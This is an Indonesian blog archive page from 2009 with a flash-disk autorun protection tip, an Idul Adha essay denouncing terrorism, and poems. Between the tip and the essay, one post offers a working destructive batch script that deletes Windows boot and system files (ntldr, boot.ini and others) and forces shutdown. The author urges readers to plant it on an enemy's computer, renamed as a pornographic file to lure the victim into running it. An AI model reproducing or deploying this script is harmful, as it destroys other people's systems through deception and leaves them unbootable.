Senin, 30 November 2009

Bikin Flash Disk kebal virus !!




Semakin hari, semakin banyak virus menyebar di dunia maya...
Salah satu media penyebaran virus yang paling berperan disamping koneksi internet adalah Flash Disk !
Dengan menggunakan perintah Autorun.inf, maka virus dapat menyebarkan dirinya sesuka hatinya ( emang virus punya hati ea ? yang ada juga makan hati tuh virus  )
Ini sekedar Tips ( yang mungkin dah jadul, tapi banyak juga teman2 kita yang belum tau niy, apalagi di stikom ~_~') agar Flash Disk kita tidak bisa disisipi oleh file Autorun.inf yang dibuat oleh virus.... Tanpa Aplikasi apapun... cuma pake Program2 standar windows yang kadang sering kita remehkan ! ( banyak program windows yang kecil - kecil cabe rawit loh !!!  )

Ini beberapa langkah yang HARUS dilakukan ( eng... ing... eng...  ) :
Note : sebaiknya langkah2 ini dilakukan di komputer yang benar2 bersih dan Flash Disk kita dalam kondisi kosong ( baru di format )

1. Buat folder baru dengan nama "Autorun.inf" (tanpa tanda kutip)
2. Masuk ke dalam folder yang baru saja kita buat dan buat file notepad baru dengan cara klik kanan, pilih New> Text Document
3. Kita buka Character Maps. Posisinya berada di Start > All Programs > Accesories > System Tools > Character Maps.
4. Setelah Character Maps terbuka, pilih font yang ada embel2 unicode seperti Arial Unicode atau Lucida Sans Unicode. Scroll kebawah sampai kita melihat huruf2 Jepang, Korea,Cina, atau karakter2 aneh
5. Pilih 4 atau 5 Karakter yang kita inginkan, lalu klik Copy
6. Rename File Text yang kita sudah buat pada langkah 2 tadi dengan cara klik kanan pada file tersebut dan pilih Rename, lalu pilih Paste ( Ctrl+V). Jangan aneh kalo ntar nama filenya cuma tulisan kotak2 ajah ^_^ Normal kok ituu...
7. Selesaiiii !!!    

A: Kok bisa kebal virus ya?
B: Windows kan gak terima kalo ada 2 file yang mempunyai nama yang sama ( kita semua udah pada tau kan ). Nah, karena di Flash Disk kita udah ada nama autorun.inf, file lain gak boleh pake tu nama. Jadi Virus udah gak bisa pake nama autorun.inf lagi.
A: Oooo, gak kaya manusia ya yang 1 nama bisa dipake banyak orang...?
B: Betul itu .
A: Lho, kalo gak bisa dipake, kan virus bisa menghapus sendiri file itu. Trus buat lagi deh autorun yang sesuai maunya tu virus. Gimana sih, tambah pusing aja nich...???
B: Itulah gunanya file teks yang kita buat pake nama aneh tadi. Nama2 aneh itu dianggap virus sebagai karakternya Windows, padahal itu kan karakter unicode. Dan virus sendiri rata-rata belum mendukung karakter unicode. Sampe botak itu virus gak akan bisa menghapusnya. Akhirnya Flash Disk kita aman dan terkendali.
Sebenarnya ini bukan virus, tapi suatu program yang kalo dieksekusi bakalan bikin komputer yang lo serang jadi mati n gak bis booting... :D

Inget ya, JANGAN COBA DI KOMPUTER LO! MENDING DI KOMPIE MUSUH LO AJA! n pesan gw, tanggung sendiri akibatnya.... :D


Caranya adalah....:
1. Idupin kompie
2. Buka notepad
3. Copas code di bawah ini :

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c: Drive

4. Save jadi file .bat ( misal biar tertarik di buka rename jadi "bokep.bat" )
5. Tunggu sampai file tersebut di eksekusi n wassalam wat kompie yang lo serang....

Rabu, 25 November 2009

Memahami Makna Idul Adha  


Bulan ini merupakan bulan bersejarah bagi umat Islam. Pasalnya, di bulan ini kaum muslimin dari berbagai belahan dunia melaksanakan rukun Islam yang kelima. Ibadah haji adalah ritual ibadah yang mengajarkan persamaan di antara sesama. Dengannya, Islam tampak sebagai agama yang tidak mengenal status sosial. Kaya, miskin, pejabat, rakyat, kulit hitam ataupun kulit putih semua memakai pakaian yang sama. Bersama-sama melakukan aktivitas yang sama pula yakni manasik haji.

Selain ibadah haji, pada bulan ini umat Islam merayakan hari raya Idul Adha. Lantunan takbir diiringi tabuhan bedug menggema menambah semaraknya hari raya. Suara takbir bersahut-sahutan mengajak kita untuk sejenak melakukan refleksi bahwa tidak ada yang agung, tidak ada yang layak untuk disembah kecuali Allah, Tuhan semesta alam.

Pada hari itu, kaum muslimin selain dianjurkan melakukan shalat sunnah dua rekaat, juga dianjurkan untuk menyembelih binatang kurban bagi yang mampu. Anjuran berkurban ini bermula dari kisah penyembelihan Nabi Ibrahim kepada putra terkasihnya yakni Nabi Ismail. 

Peristiwa ini memberikan kesan yang mendalam bagi kita. Betapa tidak. Nabi Ibrahim yang telah menunggu kehadiran buah hati selama bertahun-tahun ternyata diuji Tuhan untuk menyembelih putranya sendiri. Nabi Ibrahim dituntut untuk memilih antara melaksanakan perintah Tuhan atau mempertahankan buah hati dengan konsekuensi tidak mengindahkan perintahNya. Sebuah pilihan yang cukup dilematis. Namun karena didasari ketakwaan yang kuat, perintah Tuhanpun dilaksanakan. Dan pada akhirnya, Nabi Ismail tidak jadi disembelih dengan digantikan seekor domba. Legenda mengharukan ini diabadikan dalam al Quran surat al Shaffat ayat 102-109. 

Kisah tersebut merupakan potret puncak kepatuhan seorang hamba kepada Tuhannya. Nabi Ibrahim mencintai Allah melebihi segalanya, termasuk darah dagingnya sendiri. Kecintaan Nabi Ibrahim terhadap putra kesayangannya tidak menghalangi ketaatan kepada Tuhan. Model ketakwaan Nabi Ibrahim ini patut untuk kita teladani. 

Dari berbagai media, kita bisa melihat betapa budaya korupsi masih merajalela. Demi menumpuk kekayaan rela menanggalkan ”baju” ketakwaan. Ambisi untuk meraih jabatan telah memaksa untuk rela menjebol ”benteng-benteng” agama. Dewasa ini, tata kehidupan telah banyak yang menyimpang dari nilai-nilai ketuhanan. Dengan semangat Idul Adha, mari kita teladani sosok Nabi Ibrahim. Berusaha memaksimalkan rasa patuh dan taat terhadap ajaran agama. 

Di samping itu, ada pelajaran berharga lain yang bisa dipetik dari kisah tersebut. Sebagaimana kita ketahui bahwa perintah menyembelih Nabi Ismail ini pada akhirnya digantikan seekor domba. Pesan tersirat dari adegan ini adalah ajaran Islam yang begitu menghargai betapa pentingnya nyawa manusia.

Hal ini senada dengan apa yang digaungkan Imam Syatibi dalam magnum opusnya al Muwafaqot. Menurut Syatibi, satu diantara nilai universal Islam (maqoshid al syari’ah) adalah agama menjaga hak hidup (hifdzu al nafs). Begitu pula dalam ranah fikih, agama mensyari’atkan qishosh, larangan pembunuhan dll. Hal ini mempertegas bahwa Islam benar-benar melindungi hak hidup manusia. (hlm.220 )     

 Nabi Ismail rela mengorbankan dirinya tak lain hanyalah demi mentaati perintahNya. Berbeda dengan para teroris dan pelaku bom bunuh diri. Apakah pengorbanan yang mereka lakukan benar-benar memenuhi perintah Tuhan demi kejayaan Islam atau justru sebaliknya?.

Para teroris dan pelaku bom bunuh diri jelas tidak sesuai dengan nilai universal Islam. Islam menjaga  hak untuk hidup, sementara mereka—dengan aksi bom bunuh diri— justru mencelakakan  dirinya sendiri. Di samping itu, mereka juga membunuh rakyat sipil tak bersalah, banyak korban tak berdosa berjatuhan. Lebih parah lagi, mereka  bukan membuat Islam berwibawa di mata dunia, melainkan menjadikan Islam sebagai agama yang menakutkan, agama pedang dan sarang kekerasan. Akibat aksi nekat mereka ini justru menjadikan Islam laksana ”raksasa” kanibal yang haus darah manusia.

Imam Ghazali dalam Ihya ’Ulumuddin pernah menjelaskan tentang tata cara melakukan amar ma’ruf nahi munkar.  Menurutnya, tindakan dalam bentuk aksi pengrusakan, penghancuran tempat kemaksiatan adalah wewenang negara atau badan yang mendapatkan legalitas negara. Tindakan yang dilakukan Islam garis keras dalam hal ini jelas tidak prosedural. (vol.2 hlm.311)  

Sudah semestinya dalam melakukan amar makruf nahi munkar tidak sampai menimbulkan kemunkaran yang lebih besar. Bukankah tindakan para teroris dan pelaku bom bunuh diri ini justru merugikan terhadap Islam itu sendiri ?. Merusak citra Islam yang semestinya mengajarkan kedamaian dan rahmatan lil ’alamin. Ajaran Islam yang bersifat humanis, memahami pluralitas dan menghargai kemajemukan semakin tak bermakna. 

Semoga dengan peristiwa eksekusi mati Amrozi cs, mati pula radikalisme Islam, terkubur pula Islam yang berwajah seram. Pengorbanan Nabi Ismail yang begitu tulus menjalankan perintahNya jelas berbeda dengan pengorbanan para teroris.

Di hari Idul Adha, bagi umat Islam yang mampu dianjurkan untuk menyembelih binatang kurban. Pada dasarnya, penyembelihan binatang kurban ini mengandung dua nilai yakni kesalehan ritual dan kesalehan sosial. Kesalehan ritual berarti dengan berkurban, kita telah melaksanakan perintah Tuhan yang bersifat transedental. Kurban dikatakan sebagai kesalehan sosial karena selain sebagai ritual keagamaan, kurban juga mempunyai dimensi kemanusiaan.

Bentuk solidaritas kemanusiaan ini termanifestasikan secara jelas dalam pembagian daging kurban. Perintah berkurban bagi yang mampu ini menunjukkan bahwa Islam adalah agama yang respek terhadap fakir-miskin dan kaum dhu’afa lainnya. Dengan disyari’atkannya kurban, kaum muslimin dilatih untuk mempertebal rasa kemanusiaan, mengasah kepekaan  terhadap masalah-masalah sosial, mengajarkan sikap saling menyayangi terhadap sesama. 

Meski waktu pelaksanaan penyembelihan kurban dibatasi (10-13 Dzulhijjah), namun jangan dipahami bahwa Islam membatasi solidaritas kemanusiaan. Kita harus mampu menangkap makna esensial dari pesan yang disampaikan teks, bukan memahami teks secara literal. Oleh karenanya, semangat untuk terus ’berkurban’ senantiasa kita langgengkan pasca Idul Adha.

Saat ini kerap kita jumpai, banyak kaum muslimin yang hanya berlomba meningkatkan kualitas kesalehan ritual tanpa diimbangi dengan kesalehan sosial. Banyak umat Islam yang hanya rajin shalat, puasa bahkan mampu ibadah haji berkali-kali, namun tidak peduli dengan masyarakat sekitarnya. Sebuah fenomena yang menyedihkan. Mari kita jadikan Idul Adha sebagai momentum untuk meningkatkan dua kesalehan sekaligus yakni kesalehan ritual dan kesalehan sosial. Selamat berhari raya !

Selasa, 24 November 2009

Conscience


Selfish
Word of racing in the heart
Pounce all my blood flow
Fighting with my anger
Fight with all my feelings,

Selfish,
Its a beautiful word in grief
Its rainbow colors in the dark
Changing color in a flash

Selfish
Whether there will be self-pity in his
Whether there will be entangled in the sense that cries
Akah his love saved her in insertion
My anger is buried,
Will never be reciprocated
I guess the store,
Will never be wasted
Selfishness is trapped,
I will never be ignored
A name that kept my memories,
Will continue to be saved,
Although I selfishly continue to hit
But a love,
Will remain immortal until later.
Cahaya Kasih Yang hilang

Di manakah seberkas cahaya itu
Yang telah lama aku mencari
Dalam sempitnya ruang dan waktu
Aku terpaksa harus terus mencari

Sebenarnya cahaya itu telah ku dapatkan, tapi dulu…
Semasa aku masih dalam kandungan, dan kini…
Aku telah kehilangannya kembali…
Ketika aku menghirup udara dunia

Walau linangan air mata telah kuteteskan…
Walau hariku berbalut sepi dan sunyi…
Dalam angan aku mempunyai keinginan…
Namun seberkas cahaya itu…
Adalah sebuah kasih sayang yang telah redup…
Yang keindahannya tak menerangi hatiku lagi

Ayah…Ibu, aku inginkan kasih sayangmu…
Aku sangat mengharapkan kepedulianmu…
Aku inginkan restumu untuk mengerjar cita-citaku…
Yang telah lama aku impikan

Ayah…ibu, kumohon pahamilah aku…
Jangan biarkan aku terus mencari…
Mencari seberkas cahaya yang sebenarnya ada pada kalian
Yang kini semakin menjauhi ku…

Oh…Tuhan…
Bukakanlah pintu hati mereka…
Dan berilah penerangmu dalam setiap langkah kami…
Dekatkan hambamu kembali…pada cahaya kasih…
Yang telah lama kudambakan kembali